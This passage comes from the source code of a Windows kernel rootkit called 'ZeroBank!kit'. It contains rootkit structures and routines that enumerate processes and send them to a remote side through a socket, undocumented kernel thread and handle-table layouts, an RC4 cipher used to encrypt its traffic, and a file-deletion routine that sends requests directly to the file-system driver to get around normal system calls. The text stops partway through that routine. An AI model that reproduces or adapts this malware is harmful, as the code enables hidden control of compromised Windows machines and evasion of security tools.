_ROOTKIT_PROCESS_ENTRY { 9 | #ifndef _WIN64 10 | LIST_ENTRY Entry; 11 | #else 12 | LIST_ENTRY64 Entry; 13 | #endif 14 | UINT32 pid; 15 | UINT32 ppid; 16 | ULONG_PTR Eprocess; 17 | CHAR ProcessCreationTime[260]; 18 | CHAR ImageFileName[50]; 19 | BOOLEAN IsProcessProtected; 20 | }ROOTKIT_PROCESS_ENTRY, *PROOTKIT_PROCESS_ENTRY; 21 | 22 | typedef struct _ROOTKIT_PROCESS_LIST_HEAD { 23 | 24 | ULONG NumberOfProcesses; 25 | #ifndef _WIN64 26 | LIST_ENTRY Entry; 27 | #else 28 | LIST_ENTRY64 Entry; 29 | #endif 30 | }ROOTKIT_PROCESS_LIST_HEAD, *PROOTKIT_PROCESS_LIST_HEAD; 31 | 32 | // LOW AMOUNT INFORMATION 33 | 34 | typedef struct _ROOTKIT_LOW_AMOUNT_INFORMATION_KERNEL 35 | { 36 | LARGE_INTEGER KernelTime; 37 | LARGE_INTEGER UserTime; 38 | LARGE_INTEGER CreateTime; 39 | LARGE_INTEGER ExitTime; 40 | LONG NumberOfHandles; 41 | }ROOTKIT_LOW_AMOUNT_INFORMATION_KERNEL, *PROOTKIT_LOW_AMOUNT_INFORMATION_KERNEL; 42 | 43 | // USER SPACE STRUCTURE 44 | 45 | typedef struct _ROOTKIT_LOW_AMOUNT_USERMODE 46 | { 47 | CHAR Ktime[255]; 48 | CHAR Utime[255]; 49 | CHAR CreateTime[255]; 50 | CHAR ExitTime[255]; 51 | }ROOTKIT_LOW_AMOUNT_USERMODE, *PROOTKIT_LOW_AMOUNT_USERMODE; 52 | 53 | typedef enum _ROOTKIT_INFORMATION_AMOUNT 54 | { 55 | LowAmountInformation = 1, 56 | MedimumAmountInformation, 57 | HighAmountInformation 58 | 59 | }ROOTKIT_INFORMATION_AMOUNT; 60 | 61 | typedef enum _THREAD_STATE { 62 | StateInitialized, 63 | StateReady, 64 | StateRunning, 65 | StateStandby, 66 | StateTerminated, 67 | StateWait, 68 | StateTransition, 69 | StateUnknown 70 | }THREAD_STATE; 71 | 72 | typedef struct _SYSTEM_THREAD { 73 | LARGE_INTEGER KernelTime; 74 | LARGE_INTEGER UserTime; 75 | LARGE_INTEGER CreateTime; 76 | ULONG WaitTime; 77 | PVOID StartAddress; 78 | CLIENT_ID ClientId; 79 | ULONG Priority; 80 | LONG BasePriority; 81 | ULONG ContextSwitchCount; 82 | THREAD_STATE State; 83 | ULONG WaitReason; 84 | }SYSTEM_THREAD, *PSYSTEM_THREAD; 85 | 86 | 87 | typedef struct _SYSTEM_PROCESS_INFORMATION { 88 | ULONG NextEntryOffset; 89 | ULONG NumberOfThreads; 90 | LARGE_INTEGER Reserved[3]; 91 | LARGE_INTEGER CreateTime; 92 | LARGE_INTEGER UserTime; 93 | LARGE_INTEGER KernelTime; 94 | UNICODE_STRING ImageName; 95 | ULONG BasePriority; 96 | HANDLE ProcessId; 97 | HANDLE ParentProcessId; 98 | ULONG HandleCount; 99 | ULONG Reserved2[2]; 100 | VM_COUNTERS VMCounters; 101 | IO_COUNTERS IOCounters; 102 | SYSTEM_THREAD Threads[1]; 103 | }SYSTEM_PROCESS_INFORMATION, *PSYSTEM_PROCESS_INFORMATION; 104 | 105 | /*///////////////////////////////////// 106 | // 107 | // ROOTKIT ROUTINES 108 | // 109 | *////////////////////////////////////// 110 | 111 | PROOTKIT_PROCESS_LIST_HEAD g_process_head; 112 | PROOTKIT_PROCESS_LIST_HEAD kernel_get_processes(IN PROOTKIT_API_HASH Hash); 113 | ULONG rk_copy_process_list_to_buffer(IN PROOTKIT_PROCESS_ENTRY Buffer, IN PROOTKIT_API_HASH Hash); 114 | BOOLEAN rk_send_process_to_userspace(IN PFILE_OBJECT SocketObject, IN PROOTKIT_API_HASH Hash); 115 | 116 | 117 | /*/////////////////////////////////// 118 | // 119 | // Kernel Ps Routines 120 | // 121 | *//////////////////////////////////// 122 | 123 | NTKERNELAPI NTSTATUS PsLookupProcessByProcessId(IN HANDLE Handle, OUT PEPROCESS *Eprocess); 124 | NTKERNELAPI BOOLEAN PsIsProtectedProcess(IN PEPROCESS Eprocess); 125 | NTKERNELAPI PPEB PsGetProcessPeb(IN PEPROCESS Eprocess); 126 | 127 | 128 | /*///////////////////////////////// 129 | // 130 | // INTERNAL PROCEDURES 131 | // 132 | *////////////////////////////////// 133 | 134 | 135 | typedef struct _KTHREAD 136 | { 137 | DISPATCHER_HEADER Header; 138 | UINT64 CycleTime; 139 | ULONG HighCycleTime; 140 | UINT64 QuantumTarget; 141 | PVOID InitialStack; 142 | PVOID StackLimit; 143 | PVOID KernelStack; 144 | ULONG ThreadLock; 145 | union 146 | { 147 | KAPC_STATE ApcState; 148 | UCHAR ApcStateFill[23]; 149 | }; 150 | CHAR Priority; 151 | USHORT NextProcessor; 152 | USHORT DeferredProcessor; 153 | ULONG ApcQueueLock; 154 | ULONG ContextSwitches; 155 | UCHAR State; 156 | UCHAR NpxState; 157 | UCHAR WaitIrql; 158 | CHAR WaitMode; 159 | LONG WaitStatus; 160 | union 161 | { 162 | PKWAIT_BLOCK WaitBlockList; 163 | PKGATE GateObject; 164 | }; 165 | union 166 | { 167 | ULONG KernelStackResident : 1; 168 | ULONG ReadyTransition : 1; 169 | ULONG ProcessReadyQueue : 1; 170 | ULONG WaitNext : 1; 171 | ULONG SystemAffinityActive : 1; 172 | ULONG Alertable : 1; 173 | ULONG GdiFlushActive : 1; 174 | ULONG Reserved : 25; 175 | LONG MiscFlags; 176 | }; 177 | UCHAR WaitReason; 178 | UCHAR SwapBusy; 179 | UCHAR Alerted[2]; 180 | union 181 | { 182 | LIST_ENTRY WaitListEntry; 183 | SINGLE_LIST_ENTRY SwapListEntry; 184 | }; 185 | PKQUEUE Queue; 186 | ULONG WaitTime; 187 | union 188 | { 189 | struct 190 | { 191 | SHORT KernelApcDisable; 192 | SHORT SpecialApcDisable; 193 | }; 194 | ULONG CombinedApcDisable; 195 | }; 196 | PVOID Teb; 197 | union 198 | { 199 | KTIMER Timer; 200 | UCHAR TimerFill[40]; 201 | }; 202 | union 203 | { 204 | ULONG AutoAlignment : 1; 205 | ULONG DisableBoost : 1; 206 | ULONG EtwStackTraceApc1Inserted : 1; 207 | ULONG EtwStackTraceApc2Inserted : 1; 208 | ULONG CycleChargePending : 1; 209 | ULONG CalloutActive : 1; 210 | ULONG ApcQueueable : 1; 211 | ULONG EnableStackSwap : 1; 212 | ULONG GuiThread : 1; 213 | ULONG ReservedFlags : 23; 214 | LONG ThreadFlags; 215 | }; 216 | union 217 | { 218 | KWAIT_BLOCK WaitBlock[4]; 219 | struct 220 | { 221 | UCHAR WaitBlockFill0[23]; 222 | UCHAR IdealProcessor; 223 | }; 224 | struct 225 | { 226 | UCHAR WaitBlockFill1[47]; 227 | CHAR PreviousMode; 228 | }; 229 | struct 230 | { 231 | UCHAR WaitBlockFill2[71]; 232 | UCHAR ResourceIndex; 233 | }; 234 | UCHAR WaitBlockFill3[95]; 235 | }; 236 | UCHAR LargeStack; 237 | LIST_ENTRY QueueListEntry; 238 | //PKTRAP_FRAME TrapFrame; 239 | PVOID FirstArgument; 240 | union 241 | { 242 | PVOID CallbackStack; 243 | ULONG CallbackDepth; 244 | }; 245 | PVOID ServiceTable; 246 | UCHAR ApcStateIndex; 247 | CHAR BasePriority; 248 | CHAR PriorityDecrement; 249 | UCHAR Preempted; 250 | UCHAR AdjustReason; 251 | CHAR AdjustIncrement; 252 | UCHAR Spare01; 253 | CHAR Saturation; 254 | ULONG SystemCallNumber; 255 | ULONG Spare02; 256 | ULONG UserAffinity; 257 | PKPROCESS Process; 258 | ULONG Affinity; 259 | PKAPC_STATE ApcStatePointer[2]; 260 | union 261 | { 262 | KAPC_STATE SavedApcState; 263 | UCHAR SavedApcStateFill[23]; 264 | }; 265 | CHAR FreezeCount; 266 | CHAR SuspendCount; 267 | UCHAR UserIdealProcessor; 268 | UCHAR Spare03; 269 | UCHAR Iopl; 270 | PVOID Win32Thread; 271 | PVOID StackBase; 272 | union 273 | { 274 | KAPC SuspendApc; 275 | struct 276 | { 277 | UCHAR SuspendApcFill0[1]; 278 | CHAR Spare04; 279 | }; 280 | struct 281 | { 282 | UCHAR SuspendApcFill1[3]; 283 | UCHAR QuantumReset; 284 | }; 285 | struct 286 | { 287 | UCHAR SuspendApcFill2[4]; 288 | ULONG KernelTime; 289 | }; 290 | struct 291 | { 292 | UCHAR SuspendApcFill3[36]; 293 | //PKPRCB WaitPrcb; 294 | }; 295 | struct 296 | { 297 | UCHAR SuspendApcFill4[40]; 298 | PVOID LegoData; 299 | }; 300 | UCHAR SuspendApcFill5[47]; 301 | }; 302 | UCHAR PowerState; 303 | ULONG UserTime; 304 | union 305 | { 306 | KSEMAPHORE SuspendSemaphore; 307 | UCHAR SuspendSemaphorefill[20]; 308 | }; 309 | ULONG SListFaultCount; 310 | LIST_ENTRY ThreadListEntry; 311 | LIST_ENTRY MutantListHead; 312 | PVOID SListFaultAddress; 313 | PVOID MdlForLockedTeb; 314 | } KTHREAD, *PKTHREAD; 315 | 316 | /*///////////////////////////////////// 317 | // 318 | // HANDLE RELATED INTERNAL STRUCTURES 319 | // 320 | *////////////////////////////////////// 321 | 322 | typedef struct _HANDLE_TABLE_ENTRY_INFO 323 | { 324 | ULONG AuditMask; 325 | } HANDLE_TABLE_ENTRY_INFO, *PHANDLE_TABLE_ENTRY_INFO; 326 | 327 | typedef struct _HANDLE_TABLE_ENTRY 328 | { 329 | union 330 | { 331 | PVOID Object; 332 | ULONG ObAttributes; 333 | PHANDLE_TABLE_ENTRY_INFO InfoTable; 334 | ULONG Value; 335 | }; 336 | union 337 | { 338 | ULONG GrantedAccess; 339 | struct 340 | { 341 | USHORT GrantedAccessIndex; 342 | USHORT CreatorBackTraceIndex; 343 | }; 344 | LONG NextFreeTableEntry; 345 | }; 346 | } HANDLE_TABLE_ENTRY, *PHANDLE_TABLE_ENTRY; 347 | 348 | typedef struct _HANDLE_TRACE_DB_ENTRY 349 | { 350 | CLIENT_ID ClientId; 351 | PVOID Handle; 352 | ULONG Type; 353 | VOID * StackTrace[16]; 354 | } HANDLE_TRACE_DB_ENTRY, *PHANDLE_TRACE_DB_ENTRY; 355 | 356 | typedef struct _HANDLE_TRACE_DEBUG_INFO 357 | { 358 | LONG RefCount; 359 | ULONG TableSize; 360 | ULONG BitMaskFlags; 361 | FAST_MUTEX CloseCompactionLock; 362 | ULONG CurrentStackIndex; 363 | HANDLE_TRACE_DB_ENTRY TraceDb[1]; 364 | } HANDLE_TRACE_DEBUG_INFO, *PHANDLE_TRACE_DEBUG_INFO; 365 | 366 | typedef struct _HANDLE_TABLE 367 | { 368 | ULONG TableCode; 369 | PEPROCESS QuotaProcess; 370 | PVOID UniqueProcessId; 371 | EX_PUSH_LOCK HandleLock; 372 | LIST_ENTRY HandleTableList; 373 | EX_PUSH_LOCK HandleContentionEvent; 374 | PHANDLE_TRACE_DEBUG_INFO DebugInfo; 375 | LONG ExtraInfoPages; 376 | ULONG Flags; 377 | ULONG StrictFIFO : 1; 378 | LONG FirstFreeHandle; 379 | PHANDLE_TABLE_ENTRY LastFreeHandleEntry; 380 | LONG HandleCount; 381 | ULONG NextHandleNeedingPool; 382 | } HANDLE_TABLE, *PHANDLE_TABLE; 383 | -------------------------------------------------------------------------------- /ZeroBank!kit/rc4.c: -------------------------------------------------------------------------------- 1 | #include "common.h" 2 | 3 | void rc4_init(rc4_ctx *ctx, const uint8 *key, uint32 key_len) 4 | { 5 | uint32 i; 6 | uint8 *s; 7 | uint8 t, tmp; 8 | 9 | t = 0; 10 | s = ctx->se; 11 | 12 | assert(key_len > 0 && key_len <= 256); 13 | 14 | ctx->pose = 1; 15 | ctx->posd = 1; 16 | ctx->te = 0; 17 | ctx->td = 0; 18 | 19 | kimemcpy(s, rc4_table, 256); 20 | 21 | for (i = 0; i < 256; i++) 22 | { 23 | t += s[i] + key[i % key_len]; 24 | SWAP_BYTES(s[i], s[t]); 25 | } 26 | 27 | kimemcpy(ctx->sd, s, 256); 28 | } 29 | 30 | void rc4_encrypt(rc4_ctx *ctx, const uint8 *src, uint8 *dst, uint32 len) 31 | { 32 | uint32 i; 33 | uint32 pos; 34 | const uint8 *new_src; 35 | uint8 *s, *new_dst; 36 | uint8 t, tmp; 37 | 38 | pos = ctx->pose; 39 | s = ctx->se; 40 | t = ctx->te; 41 | 42 | new_src = src - pos; 43 | new_dst = dst - pos; 44 | 45 | for (i = pos; i < len + pos; i++) 46 | { 47 | RC4_CRYPT(); 48 | } 49 | 50 | ctx->pose = i; 51 | ctx->te = t; 52 | } 53 | 54 | void rc4_decrypt(rc4_ctx *ctx, const uint8 *src, uint8 *dst, uint32 len) 55 | { 56 | uint32 i; 57 | uint32 pos; 58 | const uint8 *new_src; 59 | uint8 *s, *new_dst; 60 | uint8 t, tmp; 61 | 62 | pos = ctx->posd; 63 | s = ctx->sd; 64 | t = ctx->td; 65 | 66 | new_src = src - pos; 67 | new_dst = dst - pos; 68 | 69 | for (i = pos; i < len + pos; i++) 70 | { 71 | RC4_CRYPT(); 72 | } 73 | 74 | ctx->posd = i; 75 | ctx->td = t; 76 | } -------------------------------------------------------------------------------- /ZeroBank!kit/rc4.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #ifndef RC4_H 4 | #define RC4_H 5 | #define assert(ignore)((void) 0) 6 | 7 | #define RC4_KEY_1 1 8 | #define RC4_KEY_2 2 9 | #define RC4_KEY_3 3 10 | 11 | 12 | typedef unsigned char uint8; 13 | typedef unsigned int uint32; 14 | 15 | 16 | 17 | typedef struct 18 | { 19 | uint8 se[256], sd[256]; 20 | uint32 pose, posd; 21 | uint8 te, td; 22 | } rc4_ctx; 23 | 24 | void rc4_init(rc4_ctx *ctx, const uint8 *key, uint32 key_len); 25 | void rc4_encrypt(rc4_ctx *ctx, const uint8 *src, uint8 *dst, uint32 len); 26 | void rc4_decrypt(rc4_ctx *ctx, const uint8 *src, uint8 *dst, uint32 len); 27 | 28 | 29 | 30 | 31 | #endif /* !RC4_H */ 32 | 33 | static const uint8 rc4_table[256] = { 34 | 0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x08, 0x09, 0x0a, 0x0b, 35 | 0x0c, 0x0d, 0x0e, 0x0f, 0x10, 0x11, 0x12, 0x13, 0x14, 0x15, 0x16, 0x17, 36 | 0x18, 0x19, 0x1a, 0x1b, 0x1c, 0x1d, 0x1e, 0x1f, 0x20, 0x21, 0x22, 0x23, 37 | 0x24, 0x25, 0x26, 0x27, 0x28, 0x29, 0x2a, 0x2b, 0x2c, 0x2d, 0x2e, 0x2f, 38 | 0x30, 0x31, 0x32, 0x33, 0x34, 0x35, 0x36, 0x37, 0x38, 0x39, 0x3a, 0x3b, 39 | 0x3c, 0x3d, 0x3e, 0x3f, 0x40, 0x41, 0x42, 0x43, 0x44, 0x45, 0x46, 0x47, 40 | 0x48, 0x49, 0x4a, 0x4b, 0x4c, 0x4d, 0x4e, 0x4f, 0x50, 0x51, 0x52, 0x53, 41 | 0x54, 0x55, 0x56, 0x57, 0x58, 0x59, 0x5a, 0x5b, 0x5c, 0x5d, 0x5e, 0x5f, 42 | 0x60, 0x61, 0x62, 0x63, 0x64, 0x65, 0x66, 0x67, 0x68, 0x69, 0x6a, 0x6b, 43 | 0x6c, 0x6d, 0x6e, 0x6f, 0x70, 0x71, 0x72, 0x73, 0x74, 0x75, 0x76, 0x77, 44 | 0x78, 0x79, 0x7a, 0x7b, 0x7c, 0x7d, 0x7e, 0x7f, 0x80, 0x81, 0x82, 0x83, 45 | 0x84, 0x85, 0x86, 0x87, 0x88, 0x89, 0x8a, 0x8b, 0x8c, 0x8d, 0x8e, 0x8f, 46 | 0x90, 0x91, 0x92, 0x93, 0x94, 0x95, 0x96, 0x97, 0x98, 0x99, 0x9a, 0x9b, 47 | 0x9c, 0x9d, 0x9e, 0x9f, 0xa0, 0xa1, 0xa2, 0xa3, 0xa4, 0xa5, 0xa6, 0xa7, 48 | 0xa8, 0xa9, 0xaa, 0xab, 0xac, 0xad, 0xae, 0xaf, 0xb0, 0xb1, 0xb2, 0xb3, 49 | 0xb4, 0xb5, 0xb6, 0xb7, 0xb8, 0xb9, 0xba, 0xbb, 0xbc, 0xbd, 0xbe, 0xbf, 50 | 0xc0, 0xc1, 0xc2, 0xc3, 0xc4, 0xc5, 0xc6, 0xc7, 0xc8, 0xc9, 0xca, 0xcb, 51 | 0xcc, 0xcd, 0xce, 0xcf, 0xd0, 0xd1, 0xd2, 0xd3, 0xd4, 0xd5, 0xd6, 0xd7, 52 | 0xd8, 0xd9, 0xda, 0xdb, 0xdc, 0xdd, 0xde, 0xdf, 0xe0, 0xe1, 0xe2, 0xe3, 53 | 0xe4, 0xe5, 0xe6, 0xe7, 0xe8, 0xe9, 0xea, 0xeb, 0xec, 0xed, 0xee, 0xef, 54 | 0xf0, 0xf1, 0xf2, 0xf3, 0xf4, 0xf5, 0xf6, 0xf7, 0xf8, 0xf9, 0xfa, 0xfb, 55 | 0xfc, 0xfd, 0xfe, 0xff }; 56 | 57 | #define SWAP_BYTES(x, y) \ 58 | { \ 59 | tmp = x; \ 60 | x = y; \ 61 | y = tmp; \ 62 | } 63 | 64 | #define RC4_CRYPT() \ 65 | { \ 66 | t += s[(uint8) i]; \ 67 | SWAP_BYTES(s[(uint8) i], s[t]); \ 68 | new_dst[i] = new_src[i] ^ s[(uint8) (s[(uint8) i] + s[t])]; \ 69 | } 70 | 71 | /* 72 | * Test vectors from K. Kaukonen and R. Thayer (SSH) Internet Draft 73 | * for Arcfour algorithm 74 | */ 75 | 76 | /* Test vectors from [CRYPTLIB] */ 77 | 78 | static const uint8 pt1[8] = { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 }; 79 | static const uint8 key1[8] = { 0x01, 0x23, 0x45, 0x67, 0x89, 0xab, 0xcd, 0xef }; 80 | static const uint8 ct1[8] = { 0x74, 0x94, 0xc2, 0xe7, 0x10, 0x4b, 0x08, 0x79 }; 81 | 82 | /* Test vectors from [COMMERCE] */ 83 | 84 | static const uint8 pt2[5] = { 0xdc, 0xee, 0x4c, 0xf9, 0x2c }; 85 | static const uint8 key2[5] = { 0x61, 0x8a, 0x63, 0xd2, 0xfb }; 86 | static const uint8 ct2[5] = { 0xf1, 0x38, 0x29, 0xc9, 0xde }; 87 | 88 | /* Test vectors from [SSH ARCFOUR] */ 89 | 90 | static const uint8 pt3[309] = { 91 | 0x52, 0x75, 0x69, 0x73, 0x6c, 0x69, 0x6e, 0x6e, 0x75, 0x6e, 0x20, 0x6c, 92 | 0x61, 0x75, 0x6c, 0x75, 0x20, 0x6b, 0x6f, 0x72, 0x76, 0x69, 0x73, 0x73, 93 | 0x73, 0x61, 0x6e, 0x69, 0x2c, 0x20, 0x74, 0xe4, 0x68, 0x6b, 0xe4, 0x70, 94 | 0xe4, 0x69, 0x64, 0x65, 0x6e, 0x20, 0x70, 0xe4, 0xe4, 0x6c, 0x6c, 0xe4, 95 | 0x20, 0x74, 0xe4, 0x79, 0x73, 0x69, 0x6b, 0x75, 0x75, 0x2e, 0x20, 0x4b, 96 | 0x65, 0x73, 0xe4, 0x79, 0xf6, 0x6e, 0x20, 0x6f, 0x6e, 0x20, 0x6f, 0x6e, 97 | 0x6e, 0x69, 0x20, 0x6f, 0x6d, 0x61, 0x6e, 0x61, 0x6e, 0x69, 0x2c, 0x20, 98 | 0x6b, 0x61, 0x73, 0x6b, 0x69, 0x73, 0x61, 0x76, 0x75, 0x75, 0x6e, 0x20, 99 | 0x6c, 0x61, 0x61, 0x6b, 0x73, 0x6f, 0x74, 0x20, 0x76, 0x65, 0x72, 0x68, 100 | 0x6f, 0x75, 0x75, 0x2e, 0x20, 0x45, 0x6e, 0x20, 0x6d, 0x61, 0x20, 0x69, 101 | 0x6c, 0x6f, 0x69, 0x74, 0x73, 0x65, 0x2c, 0x20, 0x73, 0x75, 0x72, 0x65, 102 | 0x20, 0x68, 0x75, 0x6f, 0x6b, 0x61, 0x61, 0x2c, 0x20, 0x6d, 0x75, 0x74, 103 | 0x74, 0x61, 0x20, 0x6d, 0x65, 0x74, 0x73, 0xe4, 0x6e, 0x20, 0x74, 0x75, 104 | 0x6d, 0x6d, 0x75, 0x75, 0x73, 0x20, 0x6d, 0x75, 0x6c, 0x6c, 0x65, 0x20, 105 | 0x74, 0x75, 0x6f, 0x6b, 0x61, 0x61, 0x2e, 0x20, 0x50, 0x75, 0x75, 0x6e, 106 | 0x74, 0x6f, 0x20, 0x70, 0x69, 0x6c, 0x76, 0x65, 0x6e, 0x2c, 0x20, 0x6d, 107 | 0x69, 0x20, 0x68, 0x75, 0x6b, 0x6b, 0x75, 0x75, 0x2c, 0x20, 0x73, 0x69, 108 | 0x69, 0x6e, 0x74, 0x6f, 0x20, 0x76, 0x61, 0x72, 0x61, 0x6e, 0x20, 0x74, 109 | 0x75, 0x75, 0x6c, 0x69, 0x73, 0x65, 0x6e, 0x2c, 0x20, 0x6d, 0x69, 0x20, 110 | 0x6e, 0x75, 0x6b, 0x6b, 0x75, 0x75, 0x2e, 0x20, 0x54, 0x75, 0x6f, 0x6b, 111 | 0x73, 0x75, 0x74, 0x20, 0x76, 0x61, 0x6e, 0x61, 0x6d, 0x6f, 0x6e, 0x20, 112 | 0x6a, 0x61, 0x20, 0x76, 0x61, 0x72, 0x6a, 0x6f, 0x74, 0x20, 0x76, 0x65, 113 | 0x65, 0x6e, 0x2c, 0x20, 0x6e, 0x69, 0x69, 0x73, 0x74, 0xe4, 0x20, 0x73, 114 | 0x79, 0x64, 0xe4, 0x6d, 0x65, 0x6e, 0x69, 0x20, 0x6c, 0x61, 0x75, 0x6c, 115 | 0x75, 0x6e, 0x20, 0x74, 0x65, 0x65, 0x6e, 0x2e, 0x20, 0x2d, 0x20, 0x45, 116 | 0x69, 0x6e, 0x6f, 0x20, 0x4c, 0x65, 0x69, 0x6e, 0x6f }; 117 | 118 | static const uint8 key3[16] = { 119 | 0x29, 0x04, 0x19, 0x72, 0xfb, 0x42, 0xba, 0x5f, 120 | 0xc7, 0x12, 0x77, 0x12, 0xf1, 0x38, 0x29, 0xc9 }; 121 | 122 | static const uint8 ct3[309] = { 123 | 0x35, 0x81, 0x86, 0x99, 0x90, 0x01, 0xe6, 0xb5, 0xda, 0xf0, 0x5e, 0xce, 124 | 0xeb, 0x7e, 0xee, 0x21, 0xe0, 0x68, 0x9c, 0x1f, 0x00, 0xee, 0xa8, 0x1f, 125 | 0x7d, 0xd2, 0xca, 0xae, 0xe1, 0xd2, 0x76, 0x3e, 0x68, 0xaf, 0x0e, 0xad, 126 | 0x33, 0xd6, 0x6c, 0x26, 0x8b, 0xc9, 0x46, 0xc4, 0x84, 0xfb, 0xe9, 0x4c, 127 | 0x5f, 0x5e, 0x0b, 0x86, 0xa5, 0x92, 0x79, 0xe4, 0xf8, 0x24, 0xe7, 0xa6, 128 | 0x40, 0xbd, 0x22, 0x32, 0x10, 0xb0, 0xa6, 0x11, 0x60, 0xb7, 0xbc, 0xe9, 129 | 0x86, 0xea, 0x65, 0x68, 0x80, 0x03, 0x59, 0x6b, 0x63, 0x0a, 0x6b, 0x90, 130 | 0xf8, 0xe0, 0xca, 0xf6, 0x91, 0x2a, 0x98, 0xeb, 0x87, 0x21, 0x76, 0xe8, 131 | 0x3c, 0x20, 0x2c, 0xaa, 0x64, 0x16, 0x6d, 0x2c, 0xce, 0x57, 0xff, 0x1b, 132 | 0xca, 0x57, 0xb2, 0x13, 0xf0, 0xed, 0x1a, 0xa7, 0x2f, 0xb8, 0xea, 0x52, 133 | 0xb0, 0xbe, 0x01, 0xcd, 0x1e, 0x41, 0x28, 0x67, 0x72, 0x0b, 0x32, 0x6e, 134 | 0xb3, 0x89, 0xd0, 0x11, 0xbd, 0x70, 0xd8, 0xaf, 0x03, 0x5f, 0xb0, 0xd8, 135 | 0x58, 0x9d, 0xbc, 0xe3, 0xc6, 0x66, 0xf5, 0xea, 0x8d, 0x4c, 0x79, 0x54, 136 | 0xc5, 0x0c, 0x3f, 0x34, 0x0b, 0x04, 0x67, 0xf8, 0x1b, 0x42, 0x59, 0x61, 137 | 0xc1, 0x18, 0x43, 0x07, 0x4d, 0xf6, 0x20, 0xf2, 0x08, 0x40, 0x4b, 0x39, 138 | 0x4c, 0xf9, 0xd3, 0x7f, 0xf5, 0x4b, 0x5f, 0x1a, 0xd8, 0xf6, 0xea, 0x7d, 139 | 0xa3, 0xc5, 0x61, 0xdf, 0xa7, 0x28, 0x1f, 0x96, 0x44, 0x63, 0xd2, 0xcc, 140 | 0x35, 0xa4, 0xd1, 0xb0, 0x34, 0x90, 0xde, 0xc5, 0x1b, 0x07, 0x11, 0xfb, 141 | 0xd6, 0xf5, 0x5f, 0x79, 0x23, 0x4d, 0x5b, 0x7c, 0x76, 0x66, 0x22, 0xa6, 142 | 0x6d, 0xe9, 0x2b, 0xe9, 0x96, 0x46, 0x1d, 0x5e, 0x4d, 0xc8, 0x78, 0xef, 143 | 0x9b, 0xca, 0x03, 0x05, 0x21, 0xe8, 0x35, 0x1e, 0x4b, 0xae, 0xd2, 0xfd, 144 | 0x04, 0xf9, 0x46, 0x73, 0x68, 0xc4, 0xad, 0x6a, 0xc1, 0x86, 0xd0, 0x82, 145 | 0x45, 0xb2, 0x63, 0xa2, 0x66, 0x6d, 0x1f, 0x6c, 0x54, 0x20, 0xf1, 0x59, 146 | 0x9d, 0xfd, 0x9f, 0x43, 0x89, 0x21, 0xc2, 0xf5, 0xa4, 0x63, 0x93, 0x8c, 147 | 0xe0, 0x98, 0x22, 0x65, 0xee, 0xf7, 0x01, 0x79, 0xbc, 0x55, 0x3f, 0x33, 148 | 0x9e, 0xb1, 0xa4, 0xc1, 0xaf, 0x5f, 0x6a, 0x54, 0x7f }; 149 | -------------------------------------------------------------------------------- /ZeroBank!kit/rwqueryfilevol.c: -------------------------------------------------------------------------------- 1 | #include "common.h" 2 | 3 | /*//////////////////////////////////////////////////// 4 | // 5 | // File: rwqueryfilevol.c 6 | // 7 | // Support routines for file deletion 8 | // file/volume information and reading 9 | // /writing 10 | // All functions calling underlying driver 11 | // directly instead of using Zw/Nt Functions 12 | // 13 | // 14 | *///////////////////////////////////////////////////// 15 | 16 | NTSTATUS IopDeleteFile(IN PFILE_OBJECT socket, IN PCHAR FileName) 17 | { 18 | NTSTATUS st; 19 | HANDLE handle; 20 | OBJECT_ATTRIBUTES oa = { 0 }; 21 | UNICODE_STRING ustr1 = { 0 }; 22 | ANSI_STRING ansi = { 0 }; 23 | IO_STATUS_BLOCK io = { 0 }; 24 | KEVENT Event; 25 | PIRP Irp = NULL; 26 | PIO_STACK_LOCATION pio = NULL; 27 | PFILE_OBJECT FileObject = NULL; 28 | PDEVICE_OBJECT Device = NULL; 29 | FILE_DISPOSITION_INFORMATION filedis = { 0 }; 30 | rc4_ctx ctx = { 0 }; 31 | char out[50] = { 0 }; 32 | 33 | char *msg = "[*] File successfully deleted"; 34 | unsigned long length = kistrlen(msg); 35 | 36 | g_Hash._RtlInitAnsiString(&ansi, FileName); 37 | g_Hash._RtlAnsiStringToUnicodeString(&ustr1, &ansi, TRUE); 38 | InitializeObjectAttributes(&oa, 39 | &ustr1, 40 | OBJ_CASE_INSENSITIVE | 41 | OBJ_KERNEL_HANDLE, 42 | NULL, 43 | NULL); 44 | 45 | #ifndef _WIN64 && WINVER == _WIN32_WINNT_WIN7 46 | 47 | st = MyIopCreateFile(&handle, \ 48 | FILE_READ_ATTRIBUTES, \ 49 | &oa, \ 50 | &io, \ 51 | 0, \ 52 | FILE_ATTRIBUTE_NORMAL, \ 53 | FILE_SHARE_DELETE, \ 54 | FILE_OPEN, \ 55 | FILE_NON_DIRECTORY_FILE | 56 | FILE_SYNCHRONOUS_IO_NONALERT, \ 57 | NULL, \ 58 | 0, \ 59 | CreateFileTypeNone, 60 | NULL, \ 61 | IO_NO_PARAMETER_CHECKING, \ 62 | 0, \ 63 | NULL); 64 | 65 | #else 66 | 67 | st = IoCreateFileEx(&handle, FILE_READ_ATTRIBUTES, &oa, &io, 0, FILE_ATTRIBUTE_NORMAL, FILE_SHARE_DELETE, FILE_OPEN, 68 | FILE_NON_DIRECTORY_FILE | FILE_SYNCHRONOUS_IO_NONALERT, NULL, 0, CreateFileTypeNone, NULL, IO_NO_PARAMETER_CHECKING, 0, NULL); 69 | #endif 70 | 71 | if (NT_SUCCESS(st)) 72 | { 73 | st = g_Hash._ObReferenceObjectByHandle(handle, DELETE, *g_Hash._IoFileObjectType, KernelMode, (PVOID*)&FileObject, NULL); 74 | if (NT_SUCCESS(st)) 75 | { 76 | Device = g_Hash._IoGetRelatedDeviceObject(FileObject); 77 | if (Device) 78 | { 79 | Irp = g_Hash._IoAllocateIrp(Device->StackSize, FALSE); 80 | if (Irp) 81 | { 82 | filedis.DeleteFile = TRUE; 83 | 84 | g_Hash._KeInitializeEvent(&Event, SynchronizationEvent, FALSE); 85 | 86 | Irp->AssociatedIrp.SystemBuffer = &filedis; 87 | Irp->RequestorMode = KernelMode; 88 | Irp->Flags = 0; 89 | Irp->UserIosb = &io; 90 | Irp->UserEvent = &Event; 91 | Irp->Tail.Overlay.Thread = (PKTHREAD)g_Hash._KeGetCurrentThread(); 92 | Irp->Tail.Overlay.OriginalFileObject = FileObject; 93 | 94 | pio = Irp->Tail.Overlay.CurrentStackLocation - 1; 95 | pio->DeviceObject = Device; 96 | pio->FileObject = FileObject; 97 | pio->MajorFunction = IRP_MJ_SET_INFORMATION; 98 | pio->Parameters.SetFile.Length = 